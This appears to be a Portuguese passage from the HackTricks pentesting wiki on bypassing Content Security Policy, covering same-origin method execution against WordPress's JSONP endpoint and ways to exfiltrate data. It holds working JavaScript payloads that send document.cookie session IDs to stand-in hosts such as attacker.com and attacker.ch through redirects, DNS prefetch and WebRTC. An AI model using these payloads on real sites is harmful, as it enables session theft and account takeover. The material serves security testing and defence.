SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) em um endpoint de uma página para abusar de outros endpoints da mesma origem. Isso é feito carregando o endpoint vulnerável de uma página do atacante e depois atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o endpoint vulnerável pode usar o objeto opener no payload para acessar o DOM do endpoint real a ser abusado. Para mais informações, consulte:

pageSOME - Same Origin Method Execution

Além disso, o wordpress possui um endpoint JSONP em /wp-json/wp/v2/users/1?_jsonp=data que irá refletir os dados enviados na saída (com a limitação de apenas letras, números e pontos).

Um atacante pode abusar desse endpoint para gerar um ataque SOME contra o WordPress e incorporá-lo dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> observe que esse script será carregado porque é permitido por 'self'. Além disso, e porque o WordPress está instalado, um atacante pode abusar do ataque SOME através do endpoint de callback vulnerável que burla o CSP para conceder mais privilégios a um usuário, instalar um novo plugin... Para mais informações sobre como realizar esse ataque, consulte https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypasses de Exfiltração de CSP

Se houver um CSP estrito que não permita que você interaja com servidores externos, há algumas coisas que você sempre pode fazer para exfiltrar as informações.

Localização

Você poderia simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Você poderia redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Para carregar páginas mais rapidamente, os navegadores vão pré-resolver os nomes de host em endereços IP e armazená-los em cache para uso posterior. Você pode indicar a um navegador para pré-resolver um nome de host com: <link rel="dns-prefetch" href="something.com">

Você poderia abusar desse comportamento para exfiltrar informações sensíveis por meio de solicitações DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Outra maneira:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:

X-DNS-Prefetch-Control: off

Aparentemente, essa técnica não funciona em navegadores sem interface (bots)

WebRTC

Em várias páginas, você pode ler que o WebRTC não verifica a política connect-src do CSP.

Na verdade, você pode vazar informações usando uma solicitação DNS. Confira este código:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Outra opção:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Verificando Políticas CSP Online

Criando CSP Automaticamente

https://csper.io/docs/generating-content-security-policy

Referências

​

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Percepções de Hacking Engaje-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

PreviousCommand InjectionNextCSP bypass: self + 'unsafe-inline' with Iframes

Last updated